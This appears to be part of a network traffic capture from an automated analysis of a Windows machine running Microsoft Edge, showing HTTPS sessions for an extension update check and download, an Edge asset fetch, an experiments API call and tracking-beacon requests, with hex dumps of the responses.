2024-01-17 23:35:13 UTC	773	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=&prodversion=117.0.2045.55&lang=en-GB&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: ghbmnnjooekpmoecnnnilnnbdlolhkhi X-Goog-Update-Updater: chromiumcrx-117.0.2045.55 MS-CV: P7r3S8l0YQIspQC1P1jA/W Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:14 UTC	732	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-UP1XrkyWe-c9upd1hhUfmA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:14 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6225 X-Daystart: 56114 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:14 UTC	520	IN	Data Raw: 33 30 61 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 32 35 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 36 31 31 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 67 68 62 6d 6e 6e 6a 6f 6f 65 6b 70 6d 6f 65 63 6e 6e 6e 69 6c 6e 6e 62 64 6c 6f 6c 68 6b 68 69 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 30a<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6225" elapsed_seconds="56114"/><app appid="ghbmnnjooekpmoecnnnilnnbdlolhkhi" cohort="1::" cohortname=""
2024-01-17 23:35:14 UTC	265	IN	Data Raw: 4f 45 4b 50 4d 4f 45 43 4e 4e 4e 49 4c 4e 4e 42 44 4c 4f 4c 48 4b 48 49 5f 31 5f 37 33 5f 30 5f 30 2e 63 72 78 22 20 66 70 3d 22 31 2e 37 30 63 65 35 35 63 36 39 31 32 37 36 33 35 62 63 62 35 37 39 65 31 38 37 38 63 34 63 37 34 66 37 37 30 37 62 64 37 30 38 63 64 35 37 32 37 33 65 38 62 34 38 39 31 34 35 39 61 36 61 30 65 66 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 37 30 63 65 35 35 63 36 39 31 32 37 36 33 35 62 63 62 35 37 39 65 31 38 37 38 63 34 63 37 34 66 37 37 30 37 62 64 37 30 38 63 64 35 37 32 37 33 65 38 62 34 38 39 31 34 35 39 61 36 61 30 65 66 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 39 31 36 37 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 37 33 2e 30 22 2f 3e 3c 2f 61 70 70 3e 3c 2f Data Ascii: OEKPMOECNNNILNNBDLOLHKHI_1_73_0_0.crx" fp="1.70ce55c69127635bcb579e1878c4c74f7707bd708cd57273e8b4891459a6a0ef" hash_sha256="70ce55c69127635bcb579e1878c4c74f7707bd708cd57273e8b4891459a6a0ef" protected="0" size="91671" status="ok" version="1.73.0"/></app></
2024-01-17 23:35:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.6	49976	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:14 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:14 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:14 GMT Content-Type: image/png Content-Length: 1579 Connection: close Content-MD5: G8mx/vxTd9cJ5ZE88crtmA== Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: ec87db88-601e-001a-7d67-494768000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233514Z-dc9cd36cf55df90y2yy3s5vekg00000001400000000002zv X-Cache: TCP_HIT x-fd-int-roxy-purgeid: 59346683 Accept-Ranges: bytes
2024-01-17 23:35:14 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.6	49979	40.71.99.188	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:14 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:14 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 17 Jan 2024 23:35:13 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=c1525edf0084b134a7a7618fe1ee58f7f5fa41087b1d2435bc96a20888687c42;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=c1525edf0084b134a7a7618fe1ee58f7f5fa41087b1d2435bc96a20888687c42;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:cfede706-9043-4d8c-a950-efefc8624cae X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.6	49986	142.250.80.97	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:15 UTC	580	OUT	GET /crx/blobs/AeKPYwzuPHdG7KXik3HHcL6a-Kv5-SV7bEMYguq8BAeQOhsYur09l08rkkrr-edY1Bt1nCKffdNkY-OZrUTKLWF5ESV93vCk6AcDyeyIE9UUl8AQVch1AMZSmuV-bagaPLO2mX-Kra1bZfrs-ijM4A/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_73_0_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:15 UTC	572	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPoTXKZ0Q2E9g9T1xgtH17-Tut7QZTPNvQufx1OS4qQTAa5zB0_YgfGMyybw5sg_eW1tEorWU8be4g Accept-Ranges: bytes Content-Length: 91671 X-Goog-Hash: crc32c=UiUPLw== Server: UploadServer Date: Wed, 17 Jan 2024 16:01:44 GMT Expires: Thu, 16 Jan 2025 16:01:44 GMT Cache-Control: public, max-age=31536000 Age: 27211 Last-Modified: Mon, 08 Jan 2024 16:01:35 GMT ETag: 80376878_305ed09b_55aef180_0cf8422a_0e8d83ee Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:15 UTC	680	IN	Data Raw: 43 72 32 34 03 00 00 00 65 22 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr24e"0"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: 9e 79 ec 47 f2 e9 21 73 28 f1 0f ed e0 a2 ef fd 85 93 46 61 75 6c 9c aa 7f 02 20 15 47 a7 1d 47 5a dd f9 20 3c 74 53 fc e2 a8 32 38 2f 32 32 64 6c 4f 02 56 98 a5 91 26 b2 1f cf 22 f5 3e 1f 8b 08 00 00 00 00 00 00 ff bd 7c 5d 73 ab 3c 7b f5 5f e9 dc c7 ed 0c 02 e3 1d f7 6c 13 10 98 58 22 08 7d 80 3a 9d 7b 00 91 8d 41 60 12 93 18 d3 79 fe 7b 95 fb 79 a6 9d 76 ba 3d f6 c1 fb 9e 64 c7 d9 7c 2d 5d 1f 6b 2d 09 f9 df fe e3 0f d5 9c eb 8f e3 34 1f 4f e3 1f ff fa c7 fc d1 34 6d 79 6e ff 69 6a 3e fe e9 ed a8 9b 3f fe f9 8f f3 f1 d7 d8 a8 3f eb d3 38 37 e3 fc c7 bf fe c7 1f 53 79 d5 a7 52 99 e3 9b 6b dc 55 b6 6b 49 e1 5a b9 dd b6 b5 dd ea fa ba df 0a e7 7c 2c 86 e5 ab b0 e7 b7 da d6 5b 99 ed b7 d8 ff e9 e2 e3 e5 28 43 3d ca 1c 5b fb ee 74 34 c7 b7 a8 63 f6 fe fb ef Data Ascii: yG!s(Faul GGZ <tS28/22dlOV&">\|]s<{_lX"}:{A`y{yv=d\|-]k-4O4mynij>??87SyRkUkIZ\|,[(C=[t4c
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: fa 0d 20 96 db 99 67 8a ab 1e bf b1 40 77 15 df 51 19 f0 5e 46 6a 65 00 7a 62 fc b9 29 1f c0 87 06 37 ac 03 62 71 8e 4d 17 f1 5e a9 05 56 0a 77 a5 b4 16 68 38 e7 3d b5 dc e7 82 6a 28 d8 2e a1 be 84 8c a1 2b 0d f0 5b f2 fc 5b 7c fd bd f9 59 05 d6 6a 72 5d 2a 07 e7 b5 86 c8 70 7d 4f 99 5b d6 61 0d 14 2d ec 5a f4 0b 73 60 ce 6c 1c 2b 4d 16 1e c4 40 f4 ae fd 08 ff 29 6b be 66 4c 27 7c 0c ac 84 4f 9f 0d 55 73 c5 c9 c4 f3 78 2f c2 d8 31 6c 1e 93 30 70 33 21 01 67 93 8f 98 e1 3f 1b 3c cb df f7 97 fe 5e 7e c8 72 7e 48 6d fd 86 3a f5 49 20 7c 95 0c b6 99 c6 20 ed f9 21 11 71 5c ae 3f 67 62 74 46 15 ce 07 de a9 16 51 fe c6 6c 42 1f e9 2f b2 33 31 fb 2b 47 60 97 41 1d 1a 9d 17 99 eb 6f b0 0d 5f f1 70 da 70 cd cf 34 f2 fa d2 f9 69 0b 9f 9c 6a 3b 5d d4 aa d9 8d f8 e9 Data Ascii: g@wQ^Fjezb)7bqM^Vwh8=j(.+[[\|Yjr]*p}O[a-Zs`l+M@)kfL'\|OUsx/1l0p3!g?<^~r~Hm:I \| !q\?gbtFQlB/31+G`Ao_pp4ij;]
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: f9 7a 18 be fb db e6 fb f8 6b 65 ef fe 31 f7 fa 57 6f 22 c5 ca 17 99 b7 23 d2 c4 c6 96 e5 30 0e 4b 15 e0 b0 f2 61 5a 46 98 20 1d 38 6a 68 9f 49 00 39 62 31 a9 cd f8 13 4b 7d ed 47 eb fc 3d 9f 5b 08 f7 ab 1a f4 77 7f 7b fb 6b 1c f5 ee 7f df e3 22 7c 25 ff ea 91 9d 24 f5 e8 9d 2a 6b a7 59 17 87 d2 f1 b8 c9 7d 2b d5 d2 96 56 fc da 64 e0 15 f3 f6 b3 5c bd 0f 62 cd f1 5f 7d 3f 84 d6 5f e3 a4 77 e7 ca 36 e3 18 1a 3c b6 bc de 89 af 6c 82 a7 6b 45 63 57 0a 85 d2 0c f8 b5 0f 0f 52 c7 79 3a 5c 1c 12 fc 72 b2 1c 86 2c 50 2c cd 63 c7 e4 c3 b3 19 0f 8e a8 e7 3c 80 2f 30 be e4 ca 99 7a 95 c0 eb 54 1f 07 45 a7 42 ae db b7 2a f2 8e 09 fd e9 1a de df 36 5c 3f a3 c0 f4 51 86 66 e5 4c 41 0d bc f1 16 be dc c2 de 9d 18 af 38 d4 5d 16 72 4b 0d f3 47 c9 d5 de d4 08 32 1e ee 19 Data Ascii: zke1Wo"#0KaZF 8jhI9b1K}G=[w{k"\|%$kY}+Vd\b_}?_w6<lkEcWRy:\r,P,c</0zTEB6\?QfLA8]rKG2
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: a5 5a 2d d5 c0 4d 2d 9c 6c 62 cf 84 01 de a6 da 70 0a 24 0f c4 6f bf c9 84 12 25 e3 a7 2c 57 5b c4 c0 20 2d 45 58 0f a3 ca e8 6d 31 92 8c 53 e2 24 21 08 70 de 5e 1a bd df 30 3b e6 bc 87 eb ef f1 cd f7 e2 c3 99 00 48 75 30 4a 28 94 68 9c ce b9 e1 5b 12 29 29 99 75 a1 02 be 1a 8d d6 19 3d 3b 19 7f 56 c8 11 b9 68 44 a0 1a b5 7c 20 7e 16 77 8c f7 08 71 8e c3 e9 9d 0c 1c 16 b6 de 53 d0 9e d4 88 9c 32 df cf 3c e4 a0 ee 02 53 ff 72 e6 86 0b f1 8a 1c 25 da af 1b f8 3e ee c4 27 32 8a a3 86 d7 56 13 ee f2 66 98 84 a9 7b 61 ea 64 6c 46 1c 63 e7 34 e3 41 bf d1 bc a5 8c 81 23 b3 c1 49 68 a5 a9 23 1f e1 87 4d a3 09 16 14 53 b2 b6 2b 8a da 77 2c 60 57 db 1b 97 32 ee a1 60 72 08 d3 59 1d 71 8b 83 bd 23 fd c0 f8 cf 5d 81 47 7e c3 23 cd f3 9d f8 2e 65 a0 d2 d4 ae 57 d3 c3 Data Ascii: Z-M-lbp$o%,W[ -EXm1S$!p^0;Hu0J(h[))u=;VhD\| ~wqS2<Sr%>'2Vf{adlFc4A#Ih#MS+w,`W2`rYq#]G~#.eW
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: 64 55 c2 4d d8 30 f7 92 1b f6 e8 82 b9 0a e7 56 02 39 32 a0 65 d5 e9 13 1a ac 07 f8 2f de 66 03 e8 1a 18 58 35 8f 5b 1e e2 be a0 10 a2 11 9e 33 86 8d f7 34 ae de a9 2f f5 f0 34 37 63 0c 54 08 b7 c4 e7 04 db bb 1b f3 bb ee 9d fd 73 6f 8b bc ed 72 5b 1b 47 66 99 fb 93 f7 aa 3f 19 85 64 b2 26 b8 2c a6 cf 1c 2a e8 19 cf 16 17 b9 c5 5f 4b a1 df 10 c7 07 05 a6 07 fa cb 7e 39 b0 e2 92 e6 7b f7 fb 1d d7 d2 c7 5a fa 6d 56 31 b7 45 fd 04 2a 18 1f 2a 06 f7 34 92 03 77 08 34 5e 5f 64 dc db a6 03 bc 85 ef 5e fd b2 1e f2 69 92 7c 22 d8 9a 71 a9 b5 90 b9 8e 4c 2e 6e ab e0 c9 3d d0 f8 a2 8c 17 21 50 71 c4 f0 de 78 43 d3 87 c8 20 61 fc 08 be b9 70 d4 92 51 c3 af 96 a6 3c c7 67 39 b8 4b d6 4f 4e dd 19 7e a2 8a 25 02 7f d4 0e 19 30 d3 4b 99 43 ab 0a 6b 9b 68 f8 fb f9 5d c7 Data Ascii: dUM0V92e/fX5[34/47cTsor[Gf?d&,_K~9{ZmV1E*4w4^_d^i\|"qL.n=!PqxC apQ<g9KON~%0KCkh]
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: b4 b5 9a 80 77 37 f0 dd bb ce 82 88 43 4c 4e e0 03 e7 5e 47 82 f9 a3 66 c0 91 81 1b 55 2c de 72 41 5e 93 b0 00 32 7c b2 04 8c 4f d2 60 4b 7b f5 8e 9c 9f 8f f8 88 d1 e8 57 b7 a0 6d d8 84 3b 81 22 fe 96 8e d0 f4 6d d7 2e f8 ee 53 06 f5 05 85 c4 ca c0 34 51 1b 97 8a b7 2f 64 95 d8 3c d3 ef e7 b1 1d 72 af 0e 4d cd f3 2f 45 b7 5f 14 e4 bc 36 63 9a 41 fe 52 af cc 2d 07 95 36 3e 39 9a be 83 eb 60 99 c9 e0 ba 69 cf 8d 23 df 01 c9 e5 43 fc 40 8c 47 39 b0 5d c9 23 38 cb 50 cd 19 94 cf 07 be 5b 79 44 3a 3e 92 2d 0d e7 53 b1 e2 43 b1 b6 39 b1 2e 4e a1 db a5 5c d3 1b fd 85 dc eb 03 3f 4c 4d 1d 4a 31 5f e8 58 5c 8c 87 09 52 8d 4f 42 c8 6b cd 61 84 57 7e 21 fd d3 2a 7c cf 45 8e c7 94 6d f4 40 08 bf 4a 38 3d 30 8f 1d 8f 09 45 0e 71 bc 4c 31 a5 1b 36 bf 94 03 04 55 34 15 Data Ascii: w7CLN^GfU,rA^2\|O`K{Wm;"m.S4Q/d<rM/E_6cAR-6>9`i#C@G9]#8P[yD:>-SC9.N\?LMJ1_X\ROBkaW~!*\|Em@J8=0EqL16U4
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: 1b ce e3 f0 c0 e5 c4 b9 8a 8d 86 d2 86 d7 a5 84 18 e3 67 0b 94 5d 7f ad 7d 0c 19 73 63 e3 2f 8c 1e 7d b2 b8 21 32 14 04 7f c7 f3 df 7b 88 2e df fb a1 72 db c4 6d e0 7d ee e0 ae 1e f4 45 fd 6e 1c fb 18 a4 d6 8e 94 7e b1 9a 7c 01 98 ab be 60 bb 97 84 1b fd 08 b8 19 9b 98 50 36 05 42 b7 69 dd d7 1b a5 77 45 66 bb 27 34 9c 8f 6f dc 3a ef 07 f9 65 fc 4d ab fe be ff e2 2a 05 ff 7b 6e 98 5c f9 eb 1e 70 77 fc de d3 54 82 dd 5a e6 93 36 e3 61 21 bf b7 ff 7e ae b6 a4 00 6f a5 48 ff d2 93 65 18 cf d5 e0 be 9b fc d6 a5 e3 cd 95 cd 3b f3 d9 8c dd f2 59 0d 71 6f ae 73 2e 8d 66 2e bf f7 bd fd e3 5c 35 f0 6b 6d eb ef 31 35 63 18 7c e2 15 7d a2 bf ef a9 ba 1a 9c 5f 85 bd 3b e7 8e 19 fb 11 4f df f5 93 74 70 f7 8f af 9e 29 e7 cf 8f e6 fc c7 bf fe db 7f fc d1 36 a5 6a 3e be Data Ascii: g]}sc/}!2{.rm}En~\|`P6BiwEf'4o:eM*{n\pwTZ6a!~oHe;Yqos.f.\5km15c\|}_;Otp)6j>
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: 7d 47 f5 fe e4 ca 96 ea 05 54 46 b2 6c 6d 18 db b0 1f 5b 46 fc 50 f0 03 6f 99 06 0e 95 bc 5f f1 ff 2d ec 0b 50 32 81 da 2a fa de f7 cf 2d 45 53 c8 7a d6 f1 7b c3 ff 05 29 e7 b5 06 6b 0d 23 85 d7 5b 41 2a e6 67 e5 b5 4d a6 7d dd d1 98 56 51 90 85 9d e2 d0 8c 78 df 6e 21 77 c4 4e 35 23 31 8b a6 b2 78 9e 8a 08 7e 34 9e 64 62 4a 77 c4 a2 08 3d 45 40 39 26 89 e9 11 24 59 40 11 84 f8 0d 80 0a ef 26 8b 26 3b 6b a7 84 35 b0 9d e0 7d 9b c7 67 00 6a ac 91 07 58 83 db 14 ea 86 61 ee 80 65 39 99 7b c6 d1 dc 5a 4f 81 8a 3c 75 29 6a 60 e6 51 0d dc 28 1f f9 7a b9 39 a8 bb d1 1b a9 27 a2 47 d5 93 07 61 34 a8 9b 47 f5 6b cd 5a ec bc be a8 20 9c 4d 20 44 4f 4a 04 32 b1 40 d4 52 c7 42 08 40 bc 2d 11 15 31 76 c0 41 b9 a0 fe 3c f0 ea b0 5f 02 c5 dc 8a 69 cc 6b 85 4c 6a 05 68 Data Ascii: }GTFlm[FPo_-P2-ESz{)k#[AgM}VQxn!wN5#1x~4dbJw=E@9&$Y@&&;k5}gjXae9{ZO<u)j`Q(z9'Ga4GkZ M DOJ2@RB@-1vA<_ikLjh
2024-01-17 23:35:15 UTC	1252	IN	Data Raw: 46 89 86 44 72 34 37 eb 3e 9d 8c 65 86 db 02 f4 68 f4 6a a8 51 9f 36 94 dd 81 9a be ea 94 4d 3d b0 e6 a4 de 02 74 94 df 9e 9b 29 e8 1a da c0 d0 58 5c e8 5d f1 33 3e 26 da da ff 34 36 38 01 0d 6a ff 07 3b 30 94 fd 24 45 15 ec 68 5f e5 87 d9 de ee a2 eb 09 9e 30 49 17 d2 01 e5 b2 9d 16 a3 43 86 ae 58 0e 3d 3a 86 58 e2 3d f9 a8 d6 68 9f f1 c7 25 36 4f f4 3e 91 d9 93 0b 1e d7 d6 64 fe 08 c9 d6 d7 bc 63 3f 11 0b ae 0c e9 7f 65 cd cd e6 cb d1 2b 50 4b 07 08 61 1d 6a 6f 9e 01 00 00 a2 03 00 00 50 4b 03 04 14 00 08 08 08 00 57 39 22 58 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 63 61 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 8d 92 41 6f db 30 0c 85 ef fb 15 84 2f b9 b8 45 80 1e 86 f6 36 ac 41 b1 c3 b2 a1 58 6f bb 30 32 ed 12 90 45 Data Ascii: FDr47>ehjQ6M=t)X\]3>&468j;0$Eh_0ICX=:X=h%6O>dc?e+PKajoPKW9"X_locales/ca/messages.jsonAo0/E6AXo02E

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.6	49995	18.238.49.99	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:17 UTC	846	OUT	GET /b?rn=1705534516527&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9= HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:17 UTC	732	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 17 Jan 2024 23:35:17 GMT Location: /b2?rn=1705534516527&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9= set-cookie: UID=1662cd696fa0501ada252fe1705534517; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 0b703f88574c6bad454306eb64dd50a2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: ucpy9iVa0x01aDa2LYfeENaOsFcqBdd61u-sipn0GK4kt6F-dGow-w==

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.6	50015	18.238.49.99	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:17 UTC	894	OUT	GET /b2?rn=1705534516527&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9= HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1662cd696fa0501ada252fe1705534517
